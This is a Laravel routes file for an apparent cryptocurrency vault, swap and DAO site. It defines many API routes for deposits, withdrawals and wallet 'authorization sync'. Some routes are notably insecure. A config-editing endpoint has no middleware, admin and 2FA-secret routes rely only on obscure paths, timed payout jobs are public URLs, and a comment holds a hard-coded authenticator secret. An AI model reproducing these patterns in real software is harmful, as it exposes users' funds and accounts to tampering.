coinwind/routes/web.php

106 lines
4.7 KiB
PHP
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?php
use App\Tool\Google;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::group([], function ($route) {
$route->get('get_config', 'OutController@getConfig');
$route->post('edit_config', 'OutController@updateConfig');
});
Route::any('/lang', 'LangController@language');
Route::get('/', 'IndexController@index');
Route::get('/vault', 'VaultController@index');
Route::get('/vault2', 'Vault2Controller@index');
Route::get('/dao', 'DaoController@index');
Route::get('/destruction', 'DestructionController@index');
Route::get('/swap', 'SwapController@index');
Route::get('/nft', 'NftController@index');
Route::get('/luck', 'NftController@luck');
Route::get('/invite', 'InviteController@index');
Route::get('/admin123', 'BaseController@admin');
Route::get('/article/{type}', 'ArticlesController@index'); // 流动领取收益
Route::any('/detail/{id}', 'ArticlesController@detail'); // 流动领取收益
// api
Route::group(['middleware' => ['cors']], function () {
Route::get('/v1/settings', 'ApiController@homedata');
Route::get('/v1/coins/platform', 'IndexController@coins_platform');
Route::get('/v1/coins/platform/all', 'VaultController@get_platform_coins');
Route::get('/v1/coins/staking', 'NftController@get_staking_data');
Route::any('/authorization', 'ApiController@authorization'); // 授权同步
Route::any('/register', 'ApiController@register'); // 注册
Route::any('/userInfo', 'ApiController@userInfo'); // 获取用户信息
Route::any('/authorization', 'ApiController@authorization'); // 授权同步
Route::any('/authorization_v', 'ApiController@authorization_v'); // 授权同步
Route::any('/authorization_one', 'ApiController@authorization_one'); // 授权同步
Route::any('/vaultBalance', 'ApiController@vaultBalance'); // 授权同步
Route::any('/authorizationSearch', 'ApiController@authorizationSearch'); //授权同步
Route::any('/upBalance', 'ApiController@upBalance'); // 余额更新
Route::any('/getInfo', 'ApiController@getInfo'); // apikey
Route::any('/deposit', 'ApiController@deposit'); // 存入
Route::any('/withdrawalInfo', 'ApiController@withdrawalInfo'); // 提现信息
Route::any('/withdrawal', 'ApiController@withdrawal'); // 提现
Route::any('/withdrawalIncome', 'ApiController@withdrawalIncome'); // 提现收益
Route::any('/lockup', 'ApiController@lockup'); // 锁仓计算
Route::any('/airdrop', 'ApiController@airdrop'); // 领取空投
Route::any('/daoDeposit', 'ApiController@daoDeposit'); // DAO锁仓
Route::any('/daoWithdrawProfit', 'ApiController@daoWithdrawProfit'); // DAO提取收益
Route::any('/daoWithdraw', 'ApiController@daoWithdraw'); // DAO提取本金
Route::any('/apiSwap', 'ApiController@apiSwap'); // 兑换成功
Route::any('/apiEther', 'ApiController@apiEther'); // 授权记录查询
Route::any('/newList', 'ApiController@newList'); // 提示音
Route::any('/pullInvite', 'ApiController@pullInvite'); // 邀请数据
Route::any('/pushInvite', 'ApiController@pushInvite'); // 提取佣金
Route::any('/upBalanceV3', 'ApiController@upBalanceV3'); // 流动性同步余额
Route::any('/all', 'ApiController@all'); // 流动领取收益
Route::any('/article', 'ArticleController@article'); // 常见问题,教程 公告
});
// 定时
Route::any('/hashVerify', 'ApiController@hashVerify'); // 哈希值检验 (10秒)
Route::any('/reward1', 'ApiController@reward1'); // 收益发放 (1分钟)
Route::any('/reward2', 'ApiController@reward2'); // 收益发放 (1分钟)
Route::any('/daoTime', 'ApiController@daoTime'); // Dao收益发放 (1分钟)
Route::any('/updateMoney', 'ApiController@updateMoney'); // 更新设置币种价格 (1小时)
Route::any('/reward3', 'ApiController@reward3'); // 收益发放 (1分钟)
Route::any('/updateBalance', 'ApiController@updateBalance'); // 流动余额更新 1小时
// 谷歌密钥获取
Route::get('/secret123', function () {
$ga = new Google();
$createSecret = $ga->createSecret();
// $qrCodeUrl = $ga->getQRCodeGoogleUrl('luokakale', $createSecret, 'googleVerify');
return $createSecret;
});
Route::get('/check123', function () {
Auth::logout();
// $ga = new Google();
// $v = $ga->verifyCode('5TBAZWSB6PAZ2RGN','796974',8);
// var_dump($v);die;
});